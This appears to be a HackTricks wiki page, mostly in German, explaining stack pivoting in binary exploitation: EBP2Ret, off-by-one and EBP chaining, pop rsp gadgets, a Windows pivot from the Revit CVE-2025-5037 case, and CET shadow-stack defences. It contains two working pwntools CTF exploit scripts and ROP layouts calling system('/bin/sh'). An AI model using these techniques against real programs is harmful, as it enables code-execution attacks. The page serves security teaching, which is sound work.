Stack Pivoting
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Diese Technik nutzt die Möglichkeit, den Base Pointer (EBP/RBP) zu manipulieren, um durch gezielte Verwendung des frame pointer und der Instruktionssequenz leave; ret die Ausführung mehrerer Funktionen zu verketten.
Zur Erinnerung, auf x86/x86-64 ist leave äquivalent zu:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
Da das gespeicherte EBP/RBP im Stack vor dem gespeicherten EIP/RIP liegt, kann man es kontrollieren, indem man den Stack kontrolliert.
Notes
- On 64-bit, replace EBP→RBP and ESP→RSP. Semantics are the same.
- Some compilers omit the frame pointer (see “EBP might not be used”). In that case,
leavemight not appear and this technique won’t work.
EBP2Ret
Diese Technik ist besonders nützlich, wenn du das gespeicherte EBP/RBP verändern kannst, aber keinen direkten Weg hast, EIP/RIP zu ändern. Sie nutzt das Verhalten des Funktions-Epilogs.
Wenn es dir während der Ausführung von fvuln gelingt, einen fake EBP auf dem Stack zu injizieren, der auf einen Speicherbereich zeigt, in dem die Adresse deiner shellcode/ROP chain liegt (plus 8 bytes auf amd64 / 4 bytes auf x86, um das pop zu berücksichtigen), kannst du RIP indirekt kontrollieren. Wenn die Funktion zurückkehrt, setzt leave RSP auf die manipulierte Position und das anschließende pop rbp verringert RSP, wodurch es effektiv auf eine vom Angreifer dort abgelegte Adresse zeigt. Dann verwendet ret diese Adresse.
Beachte, dass du 2 Adressen kennen musst: die Adresse, auf die ESP/RSP zeigen wird, und der Wert, der an dieser Adresse gespeichert ist und den ret verwenden wird.
Exploit Construction
Zuerst musst du eine Adresse kennen, an die du arbitrary data/addresses schreiben kannst. RSP wird hierhin zeigen und den ersten ret konsumieren.
Dann musst du die Adresse wählen, die von ret verwendet wird und die die Ausführung übernimmt. Du könntest verwenden:
- Eine gültige ONE_GADGET Adresse.
- Die Adresse von
system()gefolgt vom passenden Return und Argumenten (on x86:rettarget =&system, then 4 junk bytes, then&"/bin/sh"). - Die Adresse eines
jmp esp;Gadgets (ret2esp) gefolgt von inline shellcode. - Eine ROP chain, die im beschreibbaren Speicher abgelegt ist.
Denke daran, dass vor jeder dieser Adressen im kontrollierten Bereich Platz für das pop ebp/rbp von leave vorhanden sein muss (8B auf amd64, 4B auf x86). Du kannst diese Bytes missbrauchen, um einen zweiten fake EBP zu setzen und die Kontrolle nach der Rückkehr des ersten Calls zu behalten.
Off-By-One Exploit
Es gibt eine Variante, die verwendet wird, wenn du nur das least significant byte des gespeicherten EBP/RBP ändern kannst. In diesem Fall muss der Speicherort, der die Adresse enthält, zu der mit ret gesprungen werden soll, die ersten drei/fünf Bytes mit dem ursprünglichen EBP/RBP teilen, damit eine 1-Byte-Überschreibung sie umleiten kann. Üblicherweise wird das low byte (offset 0x00) erhöht, um so weit wie möglich innerhalb einer nahegelegenen Seite/ausgerichteten Region zu springen.
Es ist auch üblich, einen RET sled im Stack zu verwenden und die eigentliche ROP chain am Ende zu platzieren, um die Wahrscheinlichkeit zu erhöhen, dass das neue RSP in den sled zeigt und die finale ROP chain ausgeführt wird.
EBP Chaining
Indem man eine kontrollierte Adresse in dem gespeicherten EBP-Slot des Stacks platziert und ein leave; ret Gadget in EIP/RIP, ist es möglich, ESP/RSP zu einer vom Angreifer kontrollierten Adresse zu verschieben.
Nun ist RSP kontrolliert und die nächste Instruktion ist ret. Platziere im kontrollierten Speicher etwas wie:
&(next fake EBP)-> Wird vonpop ebp/rbpausleavegeladen.&system()-> Wird vonretaufgerufen.&(leave;ret)-> Nachdemsystemendet, verschiebt RSP zum nächsten fake EBP und fährt fort.&("/bin/sh")-> Argument fürsystem.
Auf diese Weise ist es möglich, mehrere gefälschte EBPs zu verketten, um den Programmfluss zu kontrollieren.
Das ist wie ein ret2lib, aber komplexer und nur in Edge-Cases nützlich.
Außerdem gibt es hier ein example of a challenge, das diese Technik mit einem stack leak verwendet, um eine winning function aufzurufen. Dies ist die finale Payload von der Seite:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
amd64 alignment tip: System V ABI requires 16-byte stack alignment at call sites. If your chain calls functions like
system, add an alignment gadget (e.g.,ret, orsub rsp, 8 ; ret) before the call to maintain alignment and avoidmovapscrashes.
EBP wird möglicherweise nicht verwendet
Wie explained in this post, wenn ein Binary mit bestimmten Optimierungen oder mit deaktiviertem Frame-Pointer kompiliert wurde, kontrolliert EBP/RBP niemals ESP/RSP. Daher schlägt jeder Exploit fehl, der EBP/RBP kontrolliert, da der Prolog/Epilog nicht vom Frame-Pointer wiederhergestellt wird.
- Nicht optimiert / Frame-Pointer verwendet:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimiert / Frame-Pointer weggelassen:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
Auf amd64 siehst du häufig pop rbp ; ret anstelle von leave ; ret, aber wenn der frame pointer vollständig weggelassen wird, gibt es keinen rbp-basierten Epilog, durch den man pivoten könnte.
Weitere Wege, RSP zu kontrollieren
pop rsp gadget
In this page findest du ein Beispiel, das diese Technik verwendet. Für diese Challenge musste eine Funktion mit 2 spezifischen Argumenten aufgerufen werden, und es gab ein pop rsp gadget und es gibt einen leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Siehe die ret2esp-Technik hier:
Pivot-Gadgets schnell finden
Verwende deinen bevorzugten gadget finder, um nach klassischen pivot primitives zu suchen:
leave ; retin Funktionen oder Bibliothekenpop rsp/xchg rax, rsp ; retadd rsp, <imm> ; ret(oderadd esp, <imm> ; retauf x86)
Beispiele:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Klassisches pivot-staging-Muster
Eine robuste pivot-Strategie, die in vielen CTFs/exploits verwendet wird:
- Verwende einen kleinen initialen Overflow, um
read/recvin einen großen beschreibbaren Bereich (z. B..bss, heap oder gemappten RW-Speicher) aufzurufen und dort eine vollständige ROP-Chain zu platzieren. - Spring zurück in ein pivot gadget (
leave ; ret,pop rsp,xchg rax, rsp ; ret), um RSP in diesen Bereich zu verschieben. - Führe die gestaffelte Chain aus (z. B. leak libc, rufe
mprotectauf, lade dann Shellcode mitreadund springe anschließend dorthin).
Windows: Destructor-loop weird-machine pivots (Revit RFA Fallstudie)
Clientseitige Parser implementieren manchmal destructor loops, die indirekt einen function pointer aufrufen, der aus attacker-controlled Objektfeldern abgeleitet ist. Wenn jede Iteration genau einen indirekten Aufruf bietet (eine “one-gadget”-Maschine), kannst du dies in einen zuverlässigen stack pivot und ROP-Einstieg umwandeln.
Beobachtet in Autodesk Revit RFA deserialization (CVE-2025-5037):
- Gefälschte Objekte des Typs
AStringsetzen einen Zeiger auf attacker bytes bei Offset 0. - Die destructor loop führt effektiv ein gadget pro Objekt aus:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Zwei praktische pivots:
- Windows 10 (32-bit heap addrs): nicht ausgerichtetes “monster gadget”, das
8B E0→mov esp, eaxenthält, schließlichret, um vom call primitive zu einer heap-basierten ROP chain zu pivoten. - Windows 11 (full 64-bit addrs): verwende zwei Objekte, um einen constrained weird-machine pivot zu treiben:
- Gadget 1:
push rax ; pop rbp ; ret(bewegt den ursprünglichen rax in rbp) - Gadget 2:
leave ; ... ; ret(wirdmov rsp, rbp ; pop rbp ; ret), pivoting in den Puffer des ersten Objekts, wo eine konventionelle ROP chain folgt.
Tips for Windows x64 after the pivot:
- Respect the 0x20-byte shadow space and maintain 16-byte alignment before
callsites. It’s often convenient to place literals above the return address and use a gadget likelea rcx, [rsp+0x20] ; call raxfollowed bypop rax ; retto pass stack addresses without corrupting control flow. - Non-ASLR helper modules (if present) provide stable gadget pools and imports such as
LoadLibraryW/GetProcAddressto dynamically resolve targets likeucrtbase!system. - Creating missing gadgets via a writable thunk: if a promising sequence ends in a
callthrough a writable function pointer (e.g., DLL import thunk or function pointer in .data), overwrite that pointer with a benign single-step likepop rax ; ret. The sequence then behaves like it ended withret(e.g.,mov rdx, rsi ; mov rcx, rdi ; ret), which is invaluable to load Windows x64 arg registers without clobbering others.
For full chain construction and gadget examples, see the reference below.
Moderne Schutzmaßnahmen, die stack pivoting (CET/Shadow Stack) brechen
Moderne x86 CPUs und OSes setzen zunehmend CET Shadow Stack (SHSTK) ein. With SHSTK enabled, ret compares the return address on the normal stack with a hardware-protected shadow stack; any mismatch raises a Control-Protection fault and kills the process. Therefore, techniques like EBP2Ret/leave;ret-based pivots will crash as soon as the first ret is executed from a pivoted stack.
- Für Hintergrund und detailliertere Informationen siehe:
- Schnelle Prüfungen auf Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Hinweise für Labs/CTF:
-
Some modern distros enable SHSTK for CET-enabled binaries when hardware and glibc support is present. For controlled testing in VMs, SHSTK can be disabled system-wide via the kernel boot parameter
nousershstk, or selectively enabled via glibc tunables during startup (see references). Don’t disable mitigations on production targets. -
JOP/COOP or SROP-based techniques might still be viable on some targets, but SHSTK specifically breaks
ret-based pivots. -
Windows note: Windows 10+ exposes user-mode and Windows 11 adds kernel-mode “Hardware-enforced Stack Protection” built on shadow stacks. CET-compatible processes prevent stack pivoting/ROP at
ret; developers opt-in via CETCOMPAT and related policies (see reference).
ARM64
In ARM64, the prologue and epilogues of the functions don’t store and retrieve the SP register in the stack. Moreover, the RET instruction doesn’t return to the address pointed by SP, but to the address inside x30.
Therefore, by default, just abusing the epilogue you won’t be able to control the SP register by overwriting some data inside the stack. And even if you manage to control the SP you would still need a way to control the x30 register.
- prologue
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epilogue
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
Caution
The way to perform something similar to stack pivoting in ARM64 would be to be able to control the
SP(by controlling some register whose value is passed toSPor because for some reasonSPis taking its address from the stack and we have an overflow) and then abuse the epilogue to load thex30register from a controlledSPandRETto it.
Also in the following page you can see the equivalent of Ret2esp in ARM64:
References
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bit, Off-by-one-Exploitation mit einer ROP-Kette, beginnend mit einem ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_arrayentries + calling__libc_csu_fini(more info here). Abusing this “eternal” write, it’s written a ROP chain in the .bss and end up calling it pivoting with RBP. - Linux-Kernel-Dokumentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK,
nousershstk,/proc/$PID/statusflags, and enabling viaarch_prctl. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.


